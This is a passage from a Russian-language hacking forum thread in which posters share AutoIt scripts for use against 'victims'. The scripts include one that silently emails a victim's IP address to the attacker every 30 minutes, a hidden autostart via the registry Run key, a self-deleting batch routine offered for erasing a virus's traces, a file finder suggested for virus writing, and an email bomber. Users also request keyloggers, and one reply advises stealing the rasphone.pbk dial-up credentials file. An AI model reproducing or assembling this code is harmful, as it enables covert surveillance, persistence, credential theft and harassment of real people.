$var = Ping("www.google.com",250)        ; проверяем на наличие интернета если инет есть то скрипт приступает к работе 

If @error = 0 Then

$AttachFiles = @ScriptDir & "\IP.txt"        ; создаем IP.txt     

_FileWriteLog($AttachFiles, $sText)                ; ip жертвы сохраняется в IP.txt

Sleep(1000)

_INetSmtpMailCom($SmtpServer,$FromName,$FromAddress,$ToAddress,$Subject,$sText,$AttachFiles,$CcAddress,$BccAddress,$Importance,$Username,$Password,$IPPort,$ssl)

sleep(1000)

FileDelete("IP.txt")
Sleep(1000*60*30)                ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 30 минут )
EndIf

WEnd

exit


Или так

Код:
#include <File.au3>
#include <Inet.au3>

;Заполнить
$sFile =""
$SmtpServer = "smtp.yandex.ru"              ; адрес SMTP сервера
$FromName = "IP-(имя жертвы)"                     ; в место жертвы можете написать имя ламера или что нибудь еше чтоб различить от кого пришло IP
$FromAddress = "логин@yandex.ru" ; адрес отправителя
$ToAddress = "логин@yandex.ru"   ; адрес получателя
$Subject = "внешний IP"                   ; тема письма
$AttachFiles = $sFile
$sText=  _GetIP()                                            ;тело письма
$CcAddress = ""     
$BccAddress = ""     
$Importance = "Normal"                  ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low"
$Username = "логин@yandex.ru"                    ; имя отправителя
$Password = "пасс"                  ; пас отпрвителя
$IPPort = 587                            ; порт можно 25,ну и так норм отправляет
$ssl = 0                                ;сокет
;~ $IPPort=465; GMAIL порт

; функция отправки
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 then $IPPort = 25
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail=""
EndFunc   ;==>_INetSmtpMailCom


 
While 2 <> 1                             ; создаем услоаие который всегда правильный и скрипт будет работать бесконечно ))))

Sleep(1000*60*30)                ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 30 минут )

$var = Ping("www.google.com",250)        ; проверяем на наличие интернета если инет есть то скрипт приступает к работе 

if @error = 0 Then

_INetSmtpMailCom($SmtpServer,$FromName,$FromAddress,$ToAddress,$Subject,$sText,$AttachFiles,$CcAddress,$BccAddress,$Importance,$Username,$Password,$IPPort,$ssl)

sleep(1000)

EndIf

WEnd

exit

0

7

Добавляет в автозагрузку с паузой перед запуском,то есть после запуска системы,прога запустится не сразу а только спустя 40 сек в данном случае.

Код:
#NoTrayIcon

$sArgument = '/40' ;задержка перед началом работы в 40 секунд
If Not @Compiled Then
    MsgBox(16, 'Error', 'Запускать только скомпилированным')
    Exit
EndIf
If $CmdLine[0] Then
    $iTimer = StringRegExpReplace($CmdLine[1], '[^0-9]', '') * 1000
    $iStart = TimerInit()
    While TimerDiff($iStart) <= $iTimer
        Sleep(250)
    WEnd
EndIf
_RegRun($sArgument)

TraySetState()
;дальше Ваш код
MsgBox(64, 'Info', 'Начали работать')

Func _RegRun($s_Argument)
    Local $sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
    If Not RegRead($sRegRun, @ScriptName) Or RegRead($sRegRun, @ScriptName) <> @ScriptFullPath & ' ' & $s_Argument Then
        RegWrite($sRegRun, @ScriptName, 'REG_SZ', @ScriptFullPath & ' ' & $s_Argument)
    EndIf
EndFunc   ;==>_RegRun

Перед употреблением,следует убрать всё лишние.

0

8

Сохранения html страницы (в фоновом режиме),с одной стороны полезная штука,вернее её можно использовать достаточно хорошо.

Код:
#include <Inet.au3>

$sSource = _INetGetSource("http://vkontakte.ru/index.php")

$R = 1
$sPath = @ScriptDir & "\Rezalt" & $R
If StringRight($sPath, 4) <> "html" Then $sPath &= ".html"

$hFileOpen = FileOpen($sPath, 2)
FileWrite($hFileOpen, $sSource)
FileClose($hFileOpen)

0

9

Скрипт самоуничтожение,можно использовать в каком нибудь вирусе,чтобы удалить все следы за собой.

Код:
  #Include <File.au3>

Func _ScriptDestroy()
    $sTemp = _TempFile(@TempDir, '~', '.bat')
    $sPath = FileGetShortName(@ScriptFullPath)
    $hFile = FileOpen($sTemp, 2)
    FileWriteLine($hFile, '@echo off')
    FileWriteLine($hFile, ':loop')
    FileWriteLine($hFile, 'del ' & $sPath)
    FileWriteLine($hFile, 'if exist ' & $sPath & ' goto loop')
    FileWriteLine($hFile, 'del ' & $sTemp)
    FileClose($hFile)
    Run($sTemp, '', @SW_HIDE)
EndFunc   ;==>_ScriptDestroy

_ScriptDestroy()
MsgBox(0, '', 'Wait...')

Функция поиска,будет полезна при написание какого либо вируса,или же программы поисковика на локальных дисках определённых файлов:

Код:
#include <Array.au3>

$aReturn = _FileSearch(@DesktopDir, "*.txt;*.htm") ;меняем на своё
_ArrayDisplay($aReturn)

;$iFlag = 0 - Файлы и папки (по умолчанию)
;$iFlag = 1 - Только файлы
;$iFlag = 2 - Только папки
Func _FileSearch($sPath, $sFileMask, $iFlag = 0)
    Local $sOutBin, $sOut, $aOut, $sRead, $hDir, $sAttrib
    
    Switch $iFlag
        Case 1
            $sAttrib = ' /A-D'
        Case 2 
            $sAttrib = ' /AD'
        Case Else 
            $sAttrib = ' /A'
    EndSwitch
    
    $sOut = StringToBinary('0' & @CRLF, 2)
    $aMasks = StringSplit($sFileMask, ';')
    
    For $i = 1 To $aMasks[0]
        $hDir = Run(@ComSpec & ' /U /C DIR "' & $sPath & '\' & $aMasks[$i] & '" /S /B' & $sAttrib, @SystemDir, @SW_HIDE, 6)
        
        While 1
            $sRead = StdoutRead($hDir, False, True)
            
            If @error Then
                ExitLoop
            EndIf
            
            If $sRead <> "" Then
                $sOut &= $sRead
            EndIf
        Wend
    Next
    
    $aOut = StringRegExp(BinaryToString($sOut, 2), '[^\r\n]+', 3)
    
    If @error Then
        Return SetError(1)
    EndIf
    
    $aOut[0] = UBound($aOut)-1
    Return $aOut
EndFunc

перезапуск скрипта,то есть исполняемого файла:

Код:
   Func OnAutoItExit()
If $Restart="True" Then
_RunDOS("start "&@ScriptName)
Return 0
EndIf

If $Restart="True" ; чтобы можно было всё таки выйти...

0

10

Мыл бомбер:

Код:
 #include <INet.au3>

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Risker's ~ Email Bomber", 335, 326, 193, 124)
$Group1 = GUICtrlCreateGroup("Email Specs", 8, 8, 313, 137)
$Label2 = GUICtrlCreateLabel("Your fake email", 16, 48, 77, 17)
$Label3 = GUICtrlCreateLabel("Victims Email", 16, 72, 65, 17)
$Input1 = GUICtrlCreateInput("Server Name", 120, 24, 169, 21)
$Yemail = GUICtrlCreateInput("Risker@skidforums.net", 120, 48, 169, 21)
$Vemail = GUICtrlCreateInput("Risker@hackerforums.com", 120, 72, 169, 21)
$Label1 = GUICtrlCreateLabel("SMTP Server ", 16, 24, 71, 17)
$Label6 = GUICtrlCreateLabel("Your fake name goes here", 16, 104, 79, 17)
$Input3 = GUICtrlCreateInput("Risker D3scene.com", 120, 104, 169, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group2 = GUICtrlCreateGroup("Email Info", 8, 152, 313, 121)
$Label4 = GUICtrlCreateLabel("Title", 16, 176, 24, 17)
$Input2 = GUICtrlCreateInput("Untitled", 80, 176, 233, 21)
$Label5 = GUICtrlCreateLabel("Subject", 16, 208, 40, 17)
$Input4 = GUICtrlCreateInput("Untitled", 80, 208, 233, 21)
$Body = GUICtrlCreateLabel("Body", 16, 240, 28, 17)
$Input5 = GUICtrlCreateInput("Body of email goes here", 80, 240, 233, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Button1 = GUICtrlCreateButton("Send Send!!", 256, 280, 65, 33, 0)
$Label7 = GUICtrlCreateLabel("How many would you like to send?", 8, 288, 168, 17)
$Input6 = GUICtrlCreateInput("20", 192, 288, 57, 21)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
case $button1
    start()
EndSwitch
WEnd



func start()
$s_SmtpServer = guictrlread($input1)
$s_FromName = guictrlread($input3)
$s_FromAddress = guictrlread($yemail)
$s_ToAddress = guictrlread($vemail)
$s_Subject = guictrlread($input4)
$as_Body = guictrlread($input2)

Do
    $i = 0
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
$i = $i + 1

if @error Then
    msgbox (1,"Error","An Error has occured" & @crlf & @crlf & "Please double check every field filled out and/or try a different Smtp server")
ExitLoop
endif
until $i = 1

$err = @error
If $Response = 1 Then
    MsgBox(0, "Success!!", "Mail sent")
Else
    MsgBox(0, "Error!", "Mail failed with error code " & $err)
EndIf
endfunc

0

11

а как сделать что бы он воробал логин и пароль интернета

0

12

invulnerable Смысл?))
Сейчас практически у всех безлимит.
Да и что там писать (делать),тяни сразу уже файлы rasphone.pbk(или как то так) если я не ошибаюсь,то в нём хранятся пасы от инета.
Бери функцию поиска,справочник и пиши,отсылку на мыло или на фтп так же можешь припаять,вот тебе и будет логи от инета.
За день не имея понятия об Autoit,читая чисто справочник и примеры что есть на этом форуме,написать сможет любой.

0

13

Всем добрый вечер.Простите за столь тупой вопрос вот я скачал программу AutoIt v3 куда вставлять данный код подскажите очень надо я пока новичок в этом деле.

0

14

Вася установи его,после правой кнопкой на рабочем столе или же в какой нить папке выбери создать Autoit Script или как то так,или же тупа текстовый файл,вставь туда нужный тебе код и смени расширение на au3,после правой кнопкой выберай действия в контекстном меню(там скомпилить,запустить,редактировать),а вообще рекомендую почётать где нить какой нить литературы прежде чем что либо запускать.

0

15

MOssWar,спасибо разобрался вот только не  пойму как инклудировать  простите что надоедаю глупыми вопросами гуглил не чего не нашёл подскажите  #include "<Inet.au3>"

0

16

всмысле "инклудить"?

0

17

Вася в начале скрипта тупа впиши #include <Inet.au3>
Snuc подключать нужные либы.

0

18

MOssWar я ваших словах нечего не понемаю
......................................................
"иклудить"
я такое делал через веб
проста подлючал шел

0

19

Snuc а что тут понимать?
Эт на простом нищанском,слово англ include как ты его читаешь?
Вообщем не заостряйся.

0

20

можно на нем написать вирус которыс довавляеть партнерку сата на авто загруску

0

21

aza можно https://forumupload.ru/uploads/000f/db/02/1755-4.gif

0

22

Lyubitel
напиши как это сделать

0

23

https://forumupload.ru/uploads/000f/db/02/1752-4.gif

0

24

aza написал(а):

напиши как это сделать

нет времени потом

VipGold

еще раз увижу что флудиш зразу бан!
__________________________________

хотя нет те бан!

0

25

Тысяча чертей, один мой знакомый нуб будет крайне рад увидеть разжеванный скрипт курсорного бота. Он часа четыре пытался вникнуть самостоятельно и я уже вконец зае... огорчился.   В общем, из всех сайтом рунета, что  просерфил, только здесь нашёл хоть сколько-нибудь полезную информацию. Сжальтесь, добейте тему с курсорным ботом, которую затронули в первом посте  https://forumupload.ru/uploads/000f/db/02/1750-2.gif Жду/надеюсь.

p.s. AutoIt Window Info и Au3Record лежат в папочке AutoIt3\Include, а вот SciTE придется скачать отдельно.

Отредактировано 4180 (2012-02-26 12:37:42)

0

26

4180 написал(а):

Тысяча чертей, один мой знакомый нуб будет крайне рад увидеть разжеванный скрипт курсорного бота. Он часа четыре пытался вникнуть самостоятельно и я уже вконец зае... огорчился.   В общем, из всех сайтом рунета, что  просерфил, только здесь нашёл хоть сколько-нибудь полезную информацию. Сжальтесь, добейте тему с курсорным ботом, которую затронули в первом посте   Жду/надеюсь.

Код в студию,или ты хочешь что бы тебе написали его?

4180 написал(а):

p.s. AutoIt Window Info и Au3Record лежат в папочке AutoIt3\Include, а вот SciTE придется скачать отдельно.

последние вроде редактор,так он тоже вроде в комплекте.

0

27

скажите пож код который списует все нажатия клавы и отправляет мне на мыло все что было нажато оч прошу!

0

28

тебе всё оч. надо,ток ты при этом ни хрена делать сам не хочешь,тип дайте а я заюзаю.
вот коды тебе нужно только выбрать те которые тебе больше понравятся и правильно сложить,для этого нужно взять справочник.
http://thehackword.ru/viewtopic.php?pid=1136#p1136
http://thehackword.ru/viewtopic.php?pid=1137#p1137
http://thehackword.ru/viewtopic.php?pid=1139#p1139
http://thehackword.ru/viewtopic.php?pid=1159#p1159
Lyubitel пусть этот фантомас сам делает.

0

29

Доброго времени всем напишите сюда готовый код который отправляет все нажатия клавиш на мыло мое пож! нужно очень https://forumupload.ru/uploads/000f/db/02/1750-2.gif

0

30

WipMen

MOssWar написал(а):

тебе всё оч. надо,ток ты при этом ни хрена делать сам не хочешь,тип дайте а я заюзаю.
вот коды тебе нужно только выбрать те которые тебе больше понравятся и правильно сложить,для этого нужно взять справочник.
Cкриптовый язык AutoIt
Cкриптовый язык AutoIt
Cкриптовый язык AutoIt
Cкриптовый язык AutoIt
Lyubitel пусть этот фантомас сам делает.

0